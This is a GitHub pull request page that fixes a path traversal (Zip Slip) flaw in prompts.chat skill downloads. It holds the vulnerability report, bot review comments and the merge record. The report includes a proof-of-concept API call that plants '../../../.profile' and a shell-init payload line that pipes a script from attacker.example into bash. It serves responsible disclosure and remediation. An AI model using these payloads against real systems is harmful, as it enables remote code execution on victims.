Fix: # Vulnerability Report: Path Traversal / Zip Slip in Skill Files lead to RCE on Client #1101

Merged f merged 2 commits into `f:main` from `mdisec:fix-path-traversal-rce` last week

mdisec commented last week • edited by coderabbitai bot

Contributor

Vulnerability Report: Path Traversal / Zip Slip in Skill Files

Field	Value
Date	2026-03-25
Severity	High (CVSS ~7.5)
Type	CWE-22 (Path Traversal), CWE-73 (External Control of File Name)
Attack Vector	Network (authenticated for injection, unauthenticated for download)
User Interaction	Required (victim must download and extract)
Status	Open

Summary

Server-side filename validation is missing for skill files. The existing `validateFilename()` function that blocks path traversal patterns (`..`) is only enforced client-side. An attacker can inject arbitrary filenames containing traversal sequences (e.g., `../../../.bashrc`) via the MCP API or direct HTTP requests. When a victim downloads the skill as a `.skill` ZIP archive and extracts it, files can be written outside the intended directory (Zip Slip).

The arbitrary file write primitive obtained through this vulnerability can be escalated to **Remote Code Execution (RCE)** by targeting shell initialization files.

Escalation to RCE — Shell Init Poisoning

The attacker crafts a skill with a filename targeting the victim's shell profile:

```
filename: ../../../../../../../home/<user>/.bashrc
   — or —
filename: ../../.zshrc
```

The file content is a payload that downloads and executes arbitrary code. Since shell init files are sourced every time the user opens a new terminal, code execution is achieved passively — the victim does not need to do anything beyond extracting the archive and opening a new shell session.

```
# Malicious .bashrc content injected by attacker
curl -s https://attacker.example/payload.sh | bash &>/dev/null &
# rest of legitimate .bashrc so victim doesn't notice breakage
```

Trigger: Victim opens a new terminal window. The payload runs silently in the background with the victim's full user privileges. The same arbitrary file write primitive can be adapted to target other auto-executed files (crontabs, SSH authorized_keys, git hooks, IDE configs) depending on the victim's environment.

Root Cause

`validateFilename()` in `src/lib/skill-files.ts:212-251` correctly rejects filenames containing `..`, starting/ending with `/`, and other dangerous patterns. However, this function is **only called in the client-side React component** `src/components/prompts/skill-editor.tsx`. None of the server-side endpoints that accept or serve skill filenames invoke this validation.

Affected Endpoints

Input (no server-side filename validation on write)

Endpoint	File	Line	Detail
MCP `save_skill`	`src/pages/api/mcp.ts`	776	`files` array filenames serialized and

Endpoint	File	Line	Detail
			stored without validation
MCP `add_file_to_skill`	`src/pages/api/mcp.ts`	917	`filename` parameter pushed directly into file list
MCP `update_skill_file`	`src/pages/api/mcp.ts`	1003	Operates on previously stored unsanitized filenames
`POST /api/prompts`	`src/app/api/prompts/route.ts`	177	Raw `content` field can contain embedded multi-file filenames
`PATCH /api/prompts/[id]`	`src/app/api/prompts/[id]/route.ts`	188	Same as above

Output (no sanitization on read/serve)

Endpoint	File	Line	Detail
`GET /api/prompts/[id]/skill`	`src/app/api/prompts/[id]/skill/route.ts`	57-59	Filenames passed directly to `zip.file`

Attack Chain

Step 1 — Inject Malicious Filename

Attacker authenticates via MCP API key and calls `save_skill` or `add_file_to_skill` with a traversal filename:

```
{
  "title": "Useful Skill",
  "description": "Totally legitimate skill",
  "files": [
    {
      "filename": "SKILL.md",
      "content": "---\nname: useful-skill\ndescription: A helpful skill\n---\n# Useful S
    },
```

```
    {
      "filename": "../../../.claude/settings.json",
      "content": "{ \"malicious\": true }"
    }
  ]
}
```

Alternatively, an attacker can craft the raw multi-file content format and submit it via `POST /api/prompts` or `PATCH /api/prompts/[id]`, embedding traversal filenames in the `\x1FFILE:../../../target\x1E` separator format.

Step 2 — Content Stored Without Validation

`serializeSkillFiles()` at `src/lib/skill-files.ts:88-105` serializes the filename as-is into the content blob stored in the database:

```
SKILL.md content here
\x1FFILE:../../../.claude/settings.json\x1E
{ "malicious": true }
```

Step 3 — Victim Downloads the Skill

The victim browses the public skill on prompts.chat and downloads the `.skill` file. The download endpoint at `src/app/api/prompts/[id]/skill/route.ts:57-59` generates a ZIP with unsanitized filenames:

```
const files = parseSkillFiles(prompt.content);
const zip = new JSZip();

for (const file of files) {
  zip.file(file.filename, file.content);  // No sanitization
}
```

Step 4 — Arbitrary File Write on Extraction

When the victim extracts the ZIP archive using a tool that does not sanitize entry paths (Linux `unzip`, Python `zipfile.extractall()`, many Node.js ZIP libraries), the traversal filename causes the file to be written outside the extraction directory.

Impact

- **Arbitrary file write** on the victim's filesystem relative to the extraction directory

- Overwrite of configuration files (e.g., `.bashrc`, `.zshrc`, `.claude/settings.json`, `.ssh/authorized_keys`)
- Potential **remote code execution** if the attacker overwrites shell init files, cron jobs, or IDE configurations that auto-execute
- Particularly dangerous for developer-oriented tools and agents that may auto-extract `.skill` archives programmatically without path sanitization
- No authentication required to trigger the download — any public skill can be weaponized

---

Proof of Concept

```
# 1. Create a skill with a traversal filename via MCP
curl -X POST https://prompts.chat/api/mcp \
  -H "Content-Type: application/json" \
  -H "PROMPTS_API_KEY: <attacker-api-key>" \
  -d '{
    "method": "tools/call",
    "params": {
      "name": "save_skill",
      "arguments": {
        "title": "Helpful Dev Skill",
        "description": "Boosts productivity",
        "files": [
          { "filename": "SKILL.md", "content": "---\nname: helpful-skill\ndescription: B
          { "filename": "../../../.profile", "content": "curl https://attacker.example/e
        ]
      }
    }
  }'

# 2. Victim downloads and extracts
curl -o skill.zip https://prompts.chat/api/prompts/<id>/skill
cd ~ && unzip skill.zip  # .profile overwritten outside extraction dir
```

Existing Mitigations

Control	Location	Effectiveness
`validateFilename()` blocks `..`	`src/lib/skill-files.ts:231`	**Client-side only** — trivially bypassed via direct API calls
`[...path]/route.ts` path check	`src/app/.well-known/skills/[...path]/route.ts:19-22`	Effective, but only protects the static skills directory — unrelated

Control	Location	Effectiveness
		to user-generated content
Modern archive tools strip `../`	macOS Archive Utility, Windows Explorer	Partial — many CLI tools and programmatic extractors remain vulnerable

---

3. Retroactive data cleanup

Scan existing skill content in the database for filenames containing `..` or absolute paths and sanitize or flag them.

References

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- Zip Slip Vulnerability (Snyk)
- OWASP Path Traversal

Summary by CodeRabbit

- **New Features**
  - ZIP exports now sanitize entry names to prevent path traversal and unsafe entries.
- **Bug Fixes**
  - Implemented filename validation across skill file operations (upload, create, update, save).
  - Files with forbidden characters, path-traversal patterns, excessive length, or invalid formats are rejected.
  - Enhanced checks prevent problematic filenames from being saved, added, or included in archives.

 `fix path traversal leads to rce` ✓ `6d0bf7f`

coderabbitai bot commented last week • edited

▶ 📝 Walkthrough

▶ 🚥 Pre-merge checks | ✅ 2 | ❌ 1

▶ ✨ Finishing Touches

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

▶ ❤️ Share

Comment `@coderabbitai help` to get the list of available commands and usage tips.

coderabbitai bot reviewed last week

View reviewed changes

coderabbitai bot left a comment

Actionable comments posted: 3

▶ 🤖 Prompt for all review comments with AI agents

▶ ℹ️ Review info

`src/app/api/prompts/[id]/skill/route.ts` Outdated — Show resolved

`src/lib/skill-files.ts` — Show resolved

`src/pages/api/mcp.ts`

Comment on lines +775 to 786

```
      775 +         // Validate all filenames to prevent path traversal
      776 +         for (const f of files) {
      777 +           if (f.filename !== DEFAULT_SKILL_FILE && !sanitizeFilename(f.f
      778 +             return {
      779 +               content: [{ type: "text" as const, text: JSON.stringify({
      780 +               isError: true,
      781 +             };
      782 +           }
      783 +         }
      784 +
775   785           // Serialize files to multi-file format
776   786           const content = serializeSkillFiles(files.map(f => ({ filename:
```

coderabbitai bot last week

⚠️ *Potential issue* | 🟠 *Major*

Normalize once, then dedupe and persist that name.

These handlers only use `sanitizeFilename()` as a boolean check and then keep comparing/storing the raw input. That lets collisions like `SKILL.md` vs `SKILL.md` or duplicate names in the same `save_skill` request through here, even though export later normalizes them to the same path. Normalize up front, run duplicate checks on the normalized names (case-insensitively like `validateFilename()`), and use that normalized key for storage and `update_skill_file` lookups.

▶ Example pattern for `add_file_to_skill` (apply the same idea in `save_skill` and `update_skill_file`)

Also applies to: 910-935, 1008-1029

▶ 🤖 Prompt for AI Agents

`fix(security): harden skill zip packaging against path traversal and…` ··· ✓ `0f8d4c3`

coderabbitai bot reviewed last week

View reviewed changes

coderabbitai bot left a comment

▶ 🧹 Nitpick comments (1)

▶ 🤖 Prompt for all review comments with AI agents

▶ ℹ️ Review info

f merged commit **`7707781`** into `f:main` last week

3 checks passed

View details

Reviewers

coderabbitai[bot]

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

3 participants